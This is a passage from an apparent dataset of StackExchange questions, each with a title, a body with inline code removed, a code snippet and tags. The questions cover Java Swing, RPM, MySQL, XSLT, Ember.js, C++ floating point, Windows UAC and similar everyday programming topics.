$\\kappa$ using Kolmogorov's extension theorem, (2) Show that $\\kappa$ is a
probability transition kernel. I'm concerned with the first step.\nIn order to use
Kolmogorov's extension theorem, a family of finite dimensional distributions $\\
left(P_J : J\\subset I \\space \\mathrm{finite},\\space 0\\in J\\right)$ is defined
and shown to be consistent.\nAccording to Klenke, Kolmogorov's extension theorem
then yields a probability measure from $\\left(E,\\mathcal B\\left(E\\right)\\
right)$ to $\\left(E^I,\\mathcal B\\left(E\\right)^{\\otimes I}\\right)$ . However
in my opinion, due to the condition $0\\in J$ Kolmogorov's theorem yields a
probability measure from $\\left(E,\\mathcal B\\left(E\\right)\\right)$ to $\\
left(E^H,\\mathcal B\\left(E\\right)^{\\otimes H}\\right)$ where $H = I\\setminus\\
left\\{0\\right\\}$.\n", "", "probability-theory"], "103947": ["UITable cell's
diferent view", "i'm a beginner programmer and i'm currently working on a basic
navigation app. I have a UITable with 3 items (for now) in my Firste level every
item (cell) open another 2 items list (2 cells) in my Second level . What i want is
that every 1 of this 2 items point to different view. Example: first will open some
xib and the second will open some detail view . Now my second level 2 items open
the same xib . \n", "", "ios uitableview uiview uitableviewcell"], "2725334": ["How
to set the width of a JTable", "I have a JTable in a JScrollPane. I want the
minimum width to be around 600 as its a wide table. I tried setting the minimum
size on the table, the scroll pane, and the panel its self. The size doesn't change
at all, what am I missing? Its hard to google this because all that comes up is how
to set the width of the columns.\n\nHere is the code:\n\nAnd here is where I add it
to the JFrame:\n\n", "class SearchResults extends JPanel {\n\n/**\n * Create the
panel.\n */\npublic SearchResults() {\n setMinimumSize(new Dimension(640,
480));\n String[][] data= new String[][] {\n {null, null, null, null,
null, null, null, null, null, null, null, null, null, null, null, null, null, null,
null, \"VIEW BUTTON\"},\n {null, null, null, null, null, null, null,
null, null, null, null, null, null, null, null, null, null, null, null, \"VIEW
BUTTON\"}};\n String[] col = new String[] {\n \"Last Name\", \"First
Name\", \"Middle Initial\", \"Phone Number\", \"Email\", \"Project
Title\", \"Project Description\", \"Amount\", \"Date Approved\", \"Date
Completed\", \"College\", \"Faculty Mentor Name\", \"Co
Grantee\", \"Major\", \"Travel Required\", \"Travel Purpose\", \"Travel
Cost\", \"Travel Start Date\", \"Travel End Date\", \"View\"};\n\n JTable
table = new JTable(data,col);\n table.setMinimumSize(new Dimension(600,200));\
n JTableHeader header = table.getTableHeader();\n JScrollPane pane = new
JScrollPane(table);\n pane.setMinimumSize(new Dimension(600, 23));\n
table.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);\n add(pane);\n}\n\n}\n",
"java swing jtable jscrollpane"], "4008455": ["How to escape spaces in an rpm
spec \"source\" item?", "I'm trying to build an RPM, but the source file from the
vendor has a space in the filename, and there doesn't seem to be any good way to
escape the filename so that it builds.\nI've tried putting a in front of the
spaces. I've tried replacing them with . I tried . I've tried putting s around it,
I've tried around it.\nFor now, I'm working around it by renaming the source file
from the vendor to not have spaces, but I really prefer to leave original vendor
source filenames intact whenever possible.\nWith no escaping or quoting, I get:\n\
nWith , the unzip works, but then:\n\nHere is a fully functional test.spec file (I
did to get a sample zipfile):\n\n", "\\", "rpm rpmbuild specfile"], "5878953":
["using emacs with thunderbird mail archive", "I have tons of mail saved in
Thunderbird but would like to consider using emacs for reading/writing email. Can
any one of the existing emacs email packages (e.g., rmail, gnus, VM,
wanderlust, ...) use this archive and also save/store future correspondence in this
mail format?\n", "", "emacs thunderbird"], "2999522": ["Creating a randomly
generated triangle and drawing it to a Jpanel", "I'm having some big trouble
getting java's swing and awt libraries (first time working with them) to work
correctly for me. Basically, I want to make a randomly generated triangle and then
display it on a JPanel. I've been working on it for a while, but I can't seem to
make the triangle show up.\nI have a RandomTriangle class that is like so:\n\nAnd I
then I have a SimpleTriangles class that extends JPanel:\n\nIs there anything that
I'm doing horribly wrong? Like I said, this is my first time messing with GUI in
Java, so I may be very well off. When I run this, I get a grey, blank JPanel.
However, if I specify the coordinates explicitly, such as etc, I get a triangle.\
nThank you!\n", "import java.util.*;\nimport java.math.*;\n\npublic class
RandomTriangle {\n\n private Random rand = new Random();\n\n private int x1, y1,
// Coordinates\n x2, y2,\n x3, y3;\n private double a,
b, c; // Sides\n\n public RandomTriangle(int limit) {\n do { // make sure that
no points are on the same line\n x1 = rand.nextInt(limit);\n y1 =
rand.nextInt(limit);\n\n x2 = rand.nextInt(limit);\n y2 =
rand.nextInt(limit);\n\n x3 = rand.nextInt(limit);\n y3 =
rand.nextInt(limit);\n } while (!((x2 - x1) * (y3 - y1) == (y2 - y1) * (x3 -
x1)));\n\n a = Math.sqrt(Math.pow((x2 - x1), 2) + Math.pow((y2 - y1), 2));\n
b = Math.sqrt(Math.pow((x3 - x2), 2) + Math.pow((y3 - y2), 2));\n c =
Math.sqrt(Math.pow((x1 - x3), 2) + Math.pow((y1 - y3), 2));\n }\n\n\n public
int[] getXCoordinates() {\n int[] coordinates = {this.x1, this.x2, this.x3};\n
return coordinates;\n }\n\n public int[] getYCoordinates() {\n int[]
coordinates = {this.y1, this.y2, this.y3};\n return coordinates;\n }\n}\n",
"java swing random awt triangle"], "918979": ["Connection handling in EJB2 session
beans", "I recently started maintaining an old EJB2 application running on OC4J.
That includes EJB doclet and other horrible horrible things. Currently, each method
creates a that queries JNDI for a , which then creates a connection. This leads to
a lot of boiler plate code. \nMy question now is: is it safe to do this only once
per stateless session bean, and reuse the same connection? would get the
connection from JNDI, and then close it in .\nWould this be good or bad design?\n",
"ConnectionFactory", "connection ejb connection-pooling ejb-2.x"], "5315205":
["android:theme=\"@android:style/Theme.NoTitleBar.Fullscreen\" Not working
android", "I declare my activity in manifest file like following.\n\nI declare
activity with Fullscreen theame. But its not working. \nI also use second way for
Fullscreen like following.\n\nBut no success. Please help me to find this.\n",
"<activity \n android:name=\".SiteView\" \n
android:theme=\"@android:style/Theme.NoTitleBar.Fullscreen\"\n
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n
android:screenOrientation=\"landscape\" >\n <intent-filter>\n
<action android:name=\"android.intent.action.MAIN\" />\n\n <category
android:name=\"android.intent.category.HOME\" />\n <category
android:name=\"android.intent.category.DEFAULT\" />\n\n </intent-filter>\n
</activity>\n", "android themes android-manifest"], "2364810": ["SQL Server 2000
trouble converting nvarchar to datetime", "Within a table there is a column with
datatype datetime and I need to compare the data within this column with the
current date and time.\nI am attempting a convert on the field but I receive \n\
nThe values in the column unfortunately have three different formats (legacy junk)\
n\nMy code I am using is as follows:\n\nCan someone help diagnose the problem
please\n", "Syntax error converting datetime from character string\n", "sql
datetime sql-server-2000"], "3623589": ["Program Files on both SSD and HDD?", "I've
just installed windows on a friends PC, which is using an SSD for Windows and core
apps (Photoshop etc), and a standard HDD for less critical apps and data.\nTo do
this, I installed windows on the SSD, then used junctions to move the users &
program data directories to the other HDD, which is working fine. However, in order
to be able to run some apps from the SSD, but most from the HDD, I left the Program
Files directories on the SSD, and created new directories on the HDD which I
instructed Windows to use as default. This doesn't seem to be the right move, as
nearly all Windows apps (photo viewer etc) are now having problems, and some things
aren't installing right.\nIs there some way to link the two directories together,
so that C:\\Program Files will also have links
to D:\\Program Files, or should I be doing something completely different to fix
this?\n", "", "windows-7 ssd program-files"], "5927009": ["How to implement a MySQL
dump/restore progress bar?", "I am having trouble using MySQL's built-in progress
reporting method for dumping to a file.\nAccording to this, a patch was committed
to mysqldump.exe over a year ago that would print progress to the command line
every so many lines if mysqldump was invoked with the options --verbose and --
show_progress_size. However, when I run the command\n\nI get the error message
below:\n\nI am unable to find any record of this option being removed from
mysqldump. I am using version 5.1.58 of MySQL community server, with mysqldump at
Ver 10.13.\nIf this feature has indeed been removed, then I am looking for a way to
implement an accurate progress bar for dumps and restores. \n", "mysqldump -u
<user> -p<password> --verbose --show_progress_size <database_name> > \"C:\\
thingy.sql\"\n", "mysql mysqldump"], "4396326": ["How to select specified element
using XSLT by its index?", "everyone.\nI have a xml file here:\n\nIn the XSLT
File ,there is a variable:\n\nI want to transform the XML file into another.The
variable is the element's index,i hope the other XML file just show the Root
element and the specified element(including the attributes).\n", "<DM_Function
Function=\"attribute value\">\n <DM>\n <DM_Source SourceID=\"id1\"
SourceTitle=\"Title1\" SourceContent=\"content1\">\n </DM_Source>\n </DM>\n
<DM>\n <DM_Source SourceID=\"id2\" SourceTitle=\"Title2\"
SourceContent=\"content2\">\n </DM_Source>\n </DM>\n <DM>\n <DM_Source
SourceID=\"id3\" SourceTitle=\"Title3\" SourceContent=\"content3\">\n
</DM_Source>\n </DM>\n</DM_Function>\n", "xslt param"], "4935061": ["Ember.js Data
Conflict Resolution / Failing on Conflict", "If using Ember.js with the ember-data
REST adapter, is there some sort of conflict resolution strategy for handling
persisting data to the server?\nAt the very least, for my case, failing and rolling
back would be sufficient in the case of conflicts, if the user can be informed of
this. So, would sort of data/structure would be required for this? Some sort
of \"version\" id on the models, where the server can check the submitted versions,
and make sure that the client had the most recent data. Is there anything in
Ember.js to make this a bit less manual? And if so, what?\nEdit: Also, is there
anything that helps with conflicts of bulk commits of models? Say we have a parent
model with a \"hasMany\" relationship to several child models, and all of them are
to be persisted to the database at the same time. If just dealing with server-side
code, I feel I could wrap this up on a transaction in whatever database I'm using,
and fail if something is out of date. How does this translate to Ember.js
transactions?\nI see a flag bulkCommit in the Adapter class. This seems to be able
to bulk commit objects of the same type, in one request. However, if I'm persisting
records of more than one type, then this would result in multiple requests to the
server. Is there a way to either a) make this happen in one request to the server,
or b) match up ember-data's transactions with transactions on the server, so if the
transaction on the server fails, and needs to be rolled back, the ember-data
transaction fails as well?\n[I'm evaluating Ember.js for an upcoming project, and
testing a few features and what it's like to develop in. I'm actually considering
more real-time updates using socket.io or similar. I see derby.js has made some
movements towards automatic conflict resolution]\n", "", "javascript database rest
ember.js ember-data"], "2446569": ["SendMessage to Windows Explorer address bar",
"How to SendMessage to Windows Explorer address bar in C#?\nThank you\n", "", "api
winapi pinvoke sendmessage"], "103946": ["EXTJS CustomDateField disable manual text
entering", "I have ExtJS grid (editorGridPanel), where one of cells is
CustomDateField.\nHow can i disable manual entering the date inside this field? \nI
try add listeners to editor, but there is no keypress event (!) to disable
entering.\nAlso - i try an adding of listener to whole grid, = but when editor is
active, it is not fired grid keypress event.\nPls help me. Here is field
definition:\n\nThanks!\n", "{ \n header : \"Release
Date\",\n dataIndex : 'releasedate',\n sortable : true,\n width: 90,\n\n
locked: true,\n\n renderer: function(value, metaData, r) { \n metaData.attr =
rowcolor(r.data.status);\n return value;\n },\n\n editor : new
Ext.ux.form.CustomDateField({\n allowBlank: true,\n format: 'm/d/Y',\n
width : 120\n\n /* this not works VVVV */\n ,listeners: {\n
'keypress' : function (field_, new_, old_ ) {\n $.log( \"Field\",
field_ );\n $.log( \"New\", new_ );\n $.log( \"Old\",
old_ );\n }\n }\n\n\n })\n },\n", "javascript extjs sencha"],
"90123": ["CPU or network I/O bound?", "I'm trying to find out whether my server is
network IO bound or CPU bound. I did look at the output of some of the typical
tools to check the current status of the system (output of iostat, sar and top
below) but I'm not quite sure if my interpretation of the output is correct.\nThis
is my setup:\n\nApplication server (actually 2 of\nthose): (Debian, JBoss), Quad
Core,\n16 GB RAM \nDatabase server: (Suse, MySQL), Quad Core, 64 GB RAM\
nCommunication from app server to database server goes through a firewall (capable
of 100 Mbit)\n\nWhat the servers are doing:\n\nThe application deployed in JBoss
reads in large amounts of text files, performs some plausability checks (which
involves talking to the database) and in the end stores the data from the text
files in our database\n\nTo improve throughput we just installed 4 additional
instances of JBoss so there are now 5 instances of our application doing the import
(no clustering). Unfortunately the performance didn't improve as much as I hoped. \
nThese are the stats I gathered so far on the database server:\ntop:\n\nSo the
database server is pretty much idle and I didn't investigate it any further.\nThese
are the stats I gathered so far on the application server:\ntop:\n\nHere the load
average is pretty high, also the CPU utilitzation. What puzzles me is the fact,
that the CPU utilization ist not consistently high. This is what I got when I
watched CPU usage for 20 seconds using iostat:\n\nBecause the CPU usage wasn't
consistently high I wondered if the communication between app server and database
could be the bottleneck and used sar:\n\nThe values in rxbyt/s and txbyt/s are
bytes per second. If I convert those to Mbits per second I get something like\n\nSo
here we often have values > 60 Mbit. Given that our second app server does exactly
the same thing, I think it might well be the case that our firewall (as stated
earlier only capable of handling 100 Mbit) could be the real reason for the high
load average on the server and thus even adding more servers wouldn't help us
much.\nI don't know if my interpretation of the data is actually reasonable and so
would appreciate your comments on this.\nBest regards,\nStefan\n", "top - 14:09:28
up 27 days, 9:45, 1 user, load average: 0.65, 0.69, 0.83\nTasks: 92 total, 1
running, 91 sleeping, 0 stopped, 0 zombie\nCpu(s): 10.8% us, 1.1% sy, 0.0%
ni, 85.5% id, 1.7% wa, 0.1% hi, 0.8% si\nMem: 65884336k total, 61751244k used,
4133092k free, 524752k buffers\nSwap: 8388600k total, 1097864k used, 7290736k
free, 32520508k cached\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM
TIME+ COMMAND\n 9187 mysql 16 0 26.8g 26g 4168 S 49.3 41.7 12455:36
mysqld\n 1 root 16 0 656 88 56 S 0.0 0.0 0:06.30 init\n 2
root RT 0 0 0 0 S 0.0 0.0 0:00.62 migration/0\n 3 root
34 19 0 0 0 S 0.0 0.0 0:00.03 ksoftirqd/0\n", "networking cpu-usage
io"], "4449706": ["Is there a way of keeping database data in PHP while server is
running?", "I'm making a website that (essentially) lets the user submit a word,
matches it against a MySQL database, and returns the closest match found. My
current implementation is that whenever the user submits a word, the PHP script is
called, it reads the database information, scans each word one-by-one until a match
is found, and returns it.\nI feel like this is very inefficient. I'm about to make
a program that stores the list of words in a tree structure for much more effective
searching. If there are tens of thousands of words in the database, I can see the
current implementation slowing down quite a bit.\nMy question is this: instead of
having to write another, separate program, and use PHP to just connect to it with
every query, can I instead save an entire data tree in memory with just PHP? That
way, any session, any query would just read from memory instead of re-reading the
database and rebuilding the tree over and over.\n", "", "php html object tree"],
"2971906": ["ATOM to RSS feeds converter", "I found this working converter:
http://feedmix.novaclic.com/atom2rss.php\nHowever I would like to have a source
code. Where can I found a working one for PHP?\n", "", "php rss feed atom"],
"1755090": ["Graph of dependencies from LaTeX file", "This is inspired by the MO
question here.\nSuppose I'm writing a math paper, with theorem and proofs, etc. At
the end of writing, I want to design a graph of dependencies, that is, a graph
containing every theorem, lemma, etc., and directed arrows for when one theorem
relies on some other lemma, theorem, etc. in its proof. What would be a slick way
of doing this?\nI know the actual drawing of the graph will be hard, so I'm more
interested in how to write this data to a file in an interesting way. Just
redefining the environment,
for example, seems to work, but how to get the actual theorem numbers/names in the
graph data? It seems one would have to actually redefine the ref command in a more
subtle way, and I don't know how to do that.\nIt would be even cooler if you could
control a few parameters, like maybe instead of looking \"locally\" at theorems,
you could be more \"global\" and just look at chapter dependencies (and thus
generate a Leitfaden), and maybe even more gradations in between. There could also
be \"threshold\" parameters, so that one chapter has to reference another, say, 10
or more times before it becomes important enough to include in the graph data. You
could even go crazy and include bibliography references too!\nI don't know the
appropriate tags for this, so feel free to change them.\n", "proof", "cross-
referencing environments"], "2451695": ["Make sure path doesn't go up a level", "I
want to make sure doesn't go up a folder past . Is there any reliable way to
detect this?\n\nI'm thinking something like the following could work\n\nBut I
couldn't find a or something similar. I could disallow anywhere in the string,
but there may be a way to circumvent that with strange spacing, special characters,
etc.\n", "relativePath", ".net validation path"], "5843218": ["xpath - how to find
info", "Given this HTML:\n\nI am trying to use Selenium and xpath with it.\nI am
having problems when trying to select the 'delete' link that belongs to 'Virginia
Beach City Public Schools'.\nI am new to xpath. \nI am trying:\n\nbut it is not
finding the element.\nNote: I cannot use the ID as these are repeated tests and the
ID changes each time.\n", "<tr class=\"even\" id=\"district_22\">\n <td
class=\"name\">Virginia Beach City Public Schools</td>\n <td class=\"\"><a
href=\"/admin/districts/22\" class=\"member_link delete_link\" data-
confirm=\"Sure?\" data-method=\"delete\" rel=\"nofollow\">Delete</a></td>\n</tr>\
n<tr class=\"even\" id=\"district_23\">\n <td class=\"name\">Virginia City City
Public Schools</td>\n <td class=\"\"><a href=\"/admin/districts/23\"
class=\"member_link delete_link\" data-confirm=\"Sure?\" data-method=\"delete\"
rel=\"nofollow\">Delete</a></td>\n</tr>\n<tr class=\"even\" id=\"district_24\">\n
<td class=\"name\">Virginia Town City Public Schools</td>\n <td class=\"\"><a
href=\"/admin/districts/24\" class=\"member_link delete_link\" data-
confirm=\"Sure?\" data-method=\"delete\" rel=\"nofollow\">Delete</a></td>\n</tr>\
n", "xpath selenium webdriver automated-tests"], "1194583": ["nodejs / express: How
to POST to an external form with data?", "How do I do a POST to an external public
form on another site using nodejs and expressjs after constructing a string with
the data I want to POST to the form?\nI can't find a straightforward example or
documentation for this, only keep finding how to handle and parse POST-ing to a
form within your own app.\n", "", "node.js post websocket express"], "3928252":
["Gmail undo yellow notification area disappears too rapidly on Chrome", "I'm
having trouble with the Gmail yellow notification area disappearing too quickly in
Google Chrome. For reference, I am talking about the notification that appears at
the top of Gmail after archiving or deleting a message from a web browser.\nI tried
it on IE9 and it works fine. I have also cleared the cache and cookies on Chrome
and the issue persists. Has anybody run into this on Chrome and know of a solution?
\n", "", "google-chrome browser gmail google-chrome-extensions notifications"],
"4372661": ["Servlet URL and physical directories", "So, now that I have moved my
JSP files to /WEB-INF/content from /content after coding my ProcessServlet to use
forward() to get to them, how should I set up my web.xml URL pattern to get to the
Servlet?\nNote: My JSPs were under /content along with CSS, image and JS files.
So /content/css, /content/image, /content/js are all still there.\nI found that if
I use the pattern \"/content/*\" in web.xml for my Servlet then requests for css,
images and js all go through the Servlet as well. How should I avoid this?\nCan
someone suggest a better way to set up my URLs and directories?\n", "", "java
servlets web.xml"], "5001680": ["Biggner Linux Server - any suggestions?", "I would
like to get a Linux server. I am an average user. The server is just for fun to
see what I can so with it. Any suggestions on software?\n", "", "server linux-
distributions"], "4971646": ["Polymorphic Lists and relational database", "I've got
an issue modelling a database to store some Java Objects (classical problem of
mapping objects to a relational database). A example beeing far better than a long
description, here's the stuff.\nList of avaliable classes :\n - Class A contains
an array of doubles\n - Class B contains an array of A\n - Class C contains an
array of B and an array of A (it can go on like that...)\nAll the objects
implements the same parent (let's say StorableObject). There can be as many
combinaisons as possible.\nHow can I store all theses values, and moreover, how can
I create a model using some FK that deletes all its child when a parent object is
deleted. I mean, since the childs can be stored in various tables, there's no way I
can put a simple FK on the parent's field.\nThanks ;)\n", "", "java oop orm
relational-database hsqldb"], "2435434": ["theoretical and practical matrix
multiplication FLOP", "My system:\nsystem specification:\nIntel core2duo E4500
3700g memory L2 cache 2M x64 fedora 17\nHow I measure flops/mflops\nwell,I use papi
library (to read hardware performance counter) to measure flops and mflops of my
code.it return real time procesing time, flops and finally flops/process time which
is equal to MFLOPS.library use hardware counter to count floating point
inststruction or floating point operations and Total cycle to get the final result
that contain flops and MFLOPS.\nMY computational kernel\nI used three loop matrix
matrix multiplication (square matrix) and three nested loop which do some operation
on 1d array in its inner-loop.\nFirst Kernel MM\n\nSecond kernel with 1d array\n\
nwhat I know about flops\nMatrix matrix Multiplication (MM) do 2 operation in its
inner loop (here floating point operation) and as there is 3 loop which iterate
for size X therefore in theory we have total flops of 2*n^3 for MM.\nIn second
kernel we have 3 loop which in inner-most loop we have 1d array which do some
computation.there is 4 floating point operation in this loop.hence we have total
flops of 4*n^3 flops in theory\nI know that the flops that we calculate above is
not exactly the same as what will happen in real machine. In real machine there are
other operation like load and store wich will add up to out theoretical flops.\
nQuestions ?:\n\nwhen I use 1d array as in second kernel theoretical flops is the\
nsame or around the flops I get by executing the code and measuring\nit.actually
when I use 1d array flops is equal to # of operation in\ninner-most loop multiply
by n^3 but when I use my first kernel MM\nwhich use 2d array theoretical flop is
2n^3 but when I run the code\n,measured value is too much higher than theoretical
value,it is\nabout 4+(2 operation in inner-most loop of matrix
multiplication)*n^3+=6n^3.\nI changed the matrix multiplication line in innermost
loop with just the code below:\n\nthe theoretical flops for this code in 3 nested
loop is 1 operation * n^3=n^3 again when I ran the code the result was too higher
than what expected which was 2+(1 operation of inner-most loop)*n^3=3*n^3\nSample
Results for matrix of size 512X512 :\nReal_time: 1.718368 Proc_time: 1.227672 Total
flpops:\n807,107,072 MFLOPS: 657.429016\nReal_time: 3.608078 Proc_time: 3.042272
Total flpops:\n807,024,448 MFLOPS: 265.270355\ntheoretical flop:
2*512*512*512=268,435,456\nMeasured flops= 6*512^3 =807,107,072\nSample Result for
1d array operation in 3 nested loop\nReal_time: 1.282257 Proc_time: 1.155990 Total
flpops:\n536,872,000 MFLOPS: 464.426117\ntheoretical flop: 4n^3 = 536,870,912\
nMeasured flop: 4n^3=4*512^3+overheads(other operation?)=536,872,000\n\nI could not
find any reason for the aforementioned behaviour?\nIs my assumption true ? \nHope
to make it much simpler than before description.\nBy practical I meant real flop
measured by executing the code.\nCode:\n\nthank you\n", " float a[size][size];\n
float b[size][size];\n float c[size][size];\n\n start_calculate_MFlops();\n\nfor
(int i = 0; i < size; ++i) {\n for (int j = 0; j < size; ++j) {\n
for (int k = 0; k < size; **k+=1**) {\n *c[i][j]=c[i][j]+a[i][k] *
b[k][j];*\n }\n }\n }\n stop_calculate_MFlops();\
n", "c++ performance performance-monitoring performance-test"], "2715596":
["connecting to onchange event of an objects innerHTML", "I have a code which looks
like this:-\n\nI am changing the innerHTML of the above tag somehow and when it is
changed I want to call a function, so I do a dojo.connect like this:-\n\nBut I find
that even though the innerHTML of the above changes, the function netincome is
never called. Cant a change in innerHTML be found like this. If not , could someone
please suggest a way.\n", "<li><span id=\"readmon\"></span></li>\n", "dojo"],
"3424359": ["Disable Vista UAC per-application, or elevate privileges without
prompt?", "I have an app that normal users need to be able to run, but requires
administrator privileges to actually function.\nI tried to make the shortcut that
my users run it with \"Run as administrator\" but this just causes a UAC prompt
whenever they try to run the app.\nIs there any way to elevate privileges
programatically, without my users needing to go through a UAC prompt and/or knowing
an administrator password? From a security standpoint, I understand that most
applications shouldn't be allowed to do this, so I'm hoping
there is some way to do it if I can provide a valid username/password pair, or
something.\nThe app is written in C#, so a fully managed solution would be
preferred, but p/Invoke Black Magic (or even writing an MC++ Wrapper Which We Do
Not Speak About) would be more acceptable than disabling UAC entirely.\n", "",
"windows-vista uac"], "2371062": ["Issue with getFullYear from datepicker", "I am
trying to retrieve the full year from a date in a textbox, but it's not returning
if the day is more than 12 (so i suspect it's a date format issue), but how can I
get this working?\n\nsee here for an example: http://jsfiddle.net/5JCRs/12/\
nthanks.\n", " $(function() {\n $(\"#dateInput\").datepicker({\n
onSelect: function (dateText) {\n var birthDate = new Date($
(this).val()).getFullYear();\n alert(birthDate); \n },\n
dateFormat: 'dd/mm/yy',\n constrainInput: true,\n
changeMonth: true,\n changeYear: true,\n defaultDate: new
Date()\n });\n });\n", "jquery asp.net jquery-ui jquery-datepicker"],
"4456699": ["Multi Column AutoComplete using JQUERY", "\nList item\n\nI am looking
at the JQUERY example on the http://jsfiddle.net/g4stL/212/ link in Jsfiddle
website. \nI am very impressed by the feature. Infact we have to implement the
exact same feature on our application.\nIf I copy the code as it is, I am able to
see the multicolumn autocomplete. However the selection part does not work. If I
select using mouse cursor or using Arrow keys the program fails. \nThe error I get
is \n\"htmlfile: Unexpected call to method or property access.\"\nIn the append
function of jQuery.fn.extend code in Jquery-1.7.2.js.\nmcautocomplete widget is in
the custom js file under script folder in MVC.\nCan you please help?\n\nAdditional
findings:\nThe code works in Fiddle\nThis code does not crash in Chorme or
FireFox.\n", "$.widget('custom.mcautocomplete', $.ui.autocomplete, {\n
_renderMenu: function(ul, items) {\n var self = this,\n thead;\n\
n if (this.options.showHeader) {\n table = $('<div class=\"ui-
widget-header\" style=\"width:100%\"></div>');\n
$.each(this.options.columns, function(index, item) {\n
table.append('<span style=\"padding:0 4px;float:left;width:' + item.width + ';\">'
+ item.name + '</span>');\n });\n table.append('<div
style=\"clear: both;\"></div>');\n ul.append(table);\n }\n
$.each(items, function(index, item) {\n self._renderItem(ul, item);\n
});\n },\n _renderItem: function(ul, item) {\n var t = '',\n
result = '';\n\n $.each(this.options.columns, function(index, column) {\n
t += '<span style=\"padding:0 4px;float:left;width:' + column.width + ';\">' +
item[column.valueField ? column.valueField : index] + '</span>'\n });\n\n
result = $('<li></li>').data('item.autocomplete', item).append('<a
class=\"mcacAnchor\">' + t + '<div style=\"clear:
both;\"></div></a>').appendTo(ul);\n return result;\n }\n});\n", "jquery
jquery-ui autocomplete asp.net-mvc-4"], "695378": ["how to convert string to number
in php?", "I want to convert these types of values '3','2.34','0.234343',etc. to a
number. In JavaScript we can use number() but in php are there any similar method
available(general solution)?\n\n]\n", "Input Output\n'2'
2\n'2.34' 2.34\n'0.3454545' 0.3454545\n", "php php5"],
"4164962": ["Floating point comparison", "\nI would have expected the output of
this code to be .\nBut to my dismay the output is why?\n", "int main()\n{\n
float a = 0.7;\n float b = 0.5;\n if (a < 0.7)\n {\n if (b < 0.5)
printf(\"2 are right\");\n else printf(\"1 is right\");\n }\n
else printf(\"0 are right\");\n}\n", "c++ c floating-point"], "3977902": ["One time
boot into Read Only?", "I'm trying to boot into read only mode to test some
software. I don't want to remount a drive after booting as that would not meet the
requirements to test the software which checks the file system at boot. \nIs there
a way to do this without editing grub.conf? Preferably adding something via the
grub UI when interrupting boot? \nIf I do edit the grub.conf to boot in read only,
how am I supposed to edit it back?\n\nI understand that the kernel mounts root as
RO but it's remounted as RW later in the boot process.\n", "", "linux grub"],
"4192315": ["Iterating over a list of custom classed objects", "So I've looked up
the issue and used the given solutions and came up with this piece of code:\n\
nProblem: No operator '=' matches these operands. The same with != ...\nI'm
clueless as to why :/\n", "list<Projectile*>::iterator bullet;\nfor(bullet =
bullets.begin(); bullet != bullets.end(); bullet++)\n .\n .\n
. \n}\n", "c++ iteration"], "5979580": ["Is there a command line
equivalent to cut and paste metaphor for files?", "Context: I am navigating around
in folders, and finding files I need. I would like to copy my files somewhere to
place them somewhere else. But I don't want to have to deal with trying to figure
out relative paths for the source and destination.\nBasically I want something like
what I can do in file explorers (select files, copy, paste somewhere else). So a
workflow like...\n\n", "cd some/crazy/directory/with/too/long/a/name\ncopy file \
ncd ~/some/other/place\npaste \n", "linux shell"], "5969722": ["Is there another
interface that I can use to manage the firewall in Windows 2008?", "I hate the
interface for managing firewall in Widows Server 2008. Is there another GUI
interface that I can use? Free is great but I'd even accept a 3rd party solution. \
n", "", "windows-server-2008 firewall windows-firewall"], "5654120": ["Storing app
parameters like secret key", "I'm working on a little SDK which has a
configFile.plist file to store things like secret key.\nDeveloper who implement
this SDK in his app, and other users will download the app, they will be able to go
into the app binary and change anything in the .plist file.\nIs there any way to
store this info without letting users modifing the parameters easily? I don't want
users to have the ability to change the parametes in the .plist file.\nThanks in
advance for any help!\n", "", "iphone objective-c ios iphone-sdk-4.0"], "4999806":
["C# Multiple console application runs and isolation", "If I deploy a C# console
app, which does the following:\n\nreads message (ActiveMQ)\nprocesses message
contents\nwrites result to database (SQL Server)\n\nWould there be any issues with
running this multiple times e.g. what if I created a batch file and ran 100
instances? Would there be any conflict given that each instance would be using the
same shared DLLs e.g. Apache.NMS.ActiveMQ.\nThe other option would be to deploy the
app multiple times, but I'd rather not have to manage duplicated folders. I'm also
avoiding threading at the moment but that will be an option for further development
in future.\nJust want to clarify what happens with those DLLs, and check that there
wouldn't be a threading type conflict, e.g. one instance writing the results of
another instance's processing to the database...\n", "", "c# dll thread-safety
console-application"], "1085683": ["Zoiper shows \"Service or Option unavailable\"
while sending fax", "I was using 32 bit windows and Linux OS for two zoiper clients
and Asterisk as the server.\nI am using AstWind 0.66b which is asterisk for
windows.\nI could register and establish audio calls successfully.\nWhile sending
tiff file as a fax from windows to linux using Zoiper, \nafter selecting the tiff
file, a ring goes to other end. \nAfter the call is accepted, \nthe sender Zoiper
shows the notification \"Service or Option is unavailable\" \nWhat may be the
reason of that error notification ? Do you have any idea ?\n", "", "asterisk fax"],
"5636951": ["one character macros", "I would like to define a macro that has at
most one token in length.\n is the macro and anything after w is not treated as
part of the macro name. is same as . I don't care if no other macros starting with
w are messed up(at least in my document, since I don't use any). Obviously it
shouldn't interfere with other packages.\nAlternatively, if it is not possible to
do so, I would like to be able to redefine some special character like or to do
the job. I would, say, possibly like to use it without the .\nSo suppose I want to
type out something\n\nBut I'd rather do |world. (my document is so simple with just
two or three special macro's that it will make it much more logical to reduce these
markups to the most simple representation possible. I, for example, will never use
or in my document in any normal way so I can use them to represent some markup. I
only have to deal with how tex interprets them) There is no risk in my own document
since it's either plane text or very few tex/latex macros(I use \\vspace and \\
hspace and a few simple environments like centering along with 3 of my own macros
for marking up the plain text).\ne.g.,\nI might have\n\nwhere | and ^ might be
rather complex(long) markup that clutters up the original paragraph. in fact, it
would be nice to even get rid of the envrionments:\n\n(notice how the second one is
so much more readable than the first)\n", "\\w", "macros"], "5249003": ["G++ ABI
compatibility list", "I have compiled my preload file on Ubuntu server (two files
for x32 and x64). Where I can get list, in which I will see with what OS my
compiled files are compatible and with what I should recompile for compatibility?\
nThanks!\n", "", "c++ linux unix g++ abi"], "5224312": ["What does the HUP Signal
mean in brasero?", "What does it mean if brasero gets HUP signal when
trying to write image on Compact disc in brasero?\n", "", "linux gnome compact-
disc"], "54219": ["Mac Excel SUMIF #NA problem", "A formula from a Windows based
Excel sheet doesn't work on Excel for OS X:\n\nThe problem seems to be with the
part.\nHow should that be written in Excel for the Mac?\n",
"=SUMIF(P2:P453,\"<>#N/A\")\n", "osx microsoft-excel"], "2412930": ["Proper method
of mixing xml layouts with Views", "Android newbie question here. I've got an app
that I'm experimenting with that the bulk of the screen is handled nicely with
basic XML-defined objects. I want to use just one portion of the screen for
